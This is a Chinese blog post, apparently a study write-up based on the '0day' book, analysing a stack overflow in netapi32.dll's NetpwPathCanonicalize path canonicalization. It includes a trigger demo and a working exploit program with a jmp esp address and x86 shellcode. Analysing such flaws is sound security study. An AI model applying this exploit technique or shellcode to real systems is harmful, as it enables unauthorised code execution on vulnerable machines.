这这个漏洞也是根据 0day这本书写的
这本书前面的 异常 还有 C++虚函数 感觉看的还行 也就没有必要发到博客里面
里面的demo 也是很有趣的 然后后面就直接复现漏洞 中间的东西感觉看的还行了
不过我在查阅资料 百度的时候 发现网上能讲清楚这个漏洞的很少。
大家基本上都是拿MSF 直接用框架去打 缺没有从底层认真分析这个漏洞
我在这里分析一波,,,如果哪里不对 还请指教 。。。
这里 这个漏洞还是出现在了 netapi.dll
这里的漏洞点是 出现在了 目录的合并
这里可以看 0day书上的描述
这里我们这个函数就是在ms06 那个漏洞里面的那个CanonicalizePathName函数的子函数
然后这个函数里面东西 我都注释了 哪里不对 还请指教
可以参考0day 书的描述
漏洞点应该就是出现在了 我们那个向左搜索的那个过程了
这里 0day 给了一个demo 我们看一下
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);
int main(int argc, char* argv[])
{
WCHAR path[256];
WCHAR can_path[256];
DWORD type = 1000;
int retval;
HMODULE handle = LoadLibrary(".\\netapi32.dll");
MYPROC Trigger = NULL;
if (NULL == handle)
{
wprintf(L"Fail to load library!\n");
return -1;
}
Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
if (NULL == Trigger)
{
FreeLibrary(handle);
wprintf(L"Fail to get api address!\n");
return -1;
}
path[0] = 0;
wcscpy(path, L"\\aaa\\..\\..\\bbbb");
can_path[0] = 0;
type = 1000;
wprintf(L"BEFORE: %s\n", path);
retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
wprintf(L"AFTER : %s\n", can_path);
wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval);
FreeLibrary(handle);
getchar();
getchar();
return 0;
}
然后结果很意外
因为这里漏掉了一个 ..\
原因出现在了哪。。。
仔细想了一下
这里的终止条件是 i!=a1 a1 其实也就是我们传入字符串的地址
那么 直接 v4-1 假如v4正好在 字符串 的 首地址呢,,,,
就会溢出 这里 也就是导致了 这个程序没有把首个经典目录给去掉的原因,,
这里的eax 就是代表v4 也就是说
这里eax的值已经远远超过 esp了 那么 也就是说 这就可以让我们利用了(可以通过wcscpy这个函数把上一个函数的栈给修改了)
然后这里选用的是 函数 wcscpy
然后我运行成功的脚本
// socket.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);
// address of jmp esp
#define JMP_ESP "\x23\xfd\xe0\x5f\x00\x00"
//shellcode
#define SHELL_CODE \
"\x90\x90\x90\x90" \
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x61\x20\x20\x20\x68\x70\x69\x78\x69\x68\x79\x20\x70\x69\x68\x65\x64\x20\x62\x68\x68\x61\x63\x6b\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"
int main(int argc, char* argv[])
{
WCHAR path[256];
WCHAR can_path[256];
DWORD type = 1000;
int retval;
HMODULE handle = LoadLibrary(".\\netapi32.dll");
MYPROC Trigger = NULL;
if (NULL == handle)
{
wprintf(L"Fail to load library!\n");
return -1;
}
Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
if (NULL == Trigger)
{
FreeLibrary(handle);
wprintf(L"Fail to get api address!\n");
return -1;
}
path[0] = 0;
wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
wcscat(path, (wchar_t *)JMP_ESP);
wcscat(path, (wchar_t *)SHELL_CODE);
can_path[0] = 0;
type = 1000;
wprintf(L"BEFORE: %s\n", path);
retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
wprintf(L"AFTER : %s\n", can_path);
wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval);
FreeLibrary(handle);
return 0;
}
成功截图
拖到od里面分析一波
会发现
这里我们已经劫持了栈空间 000
总结
复现容易 知道原理难 挖出来更难
来源:https://blog.csdn.net/qq_41071646/article/details/99694826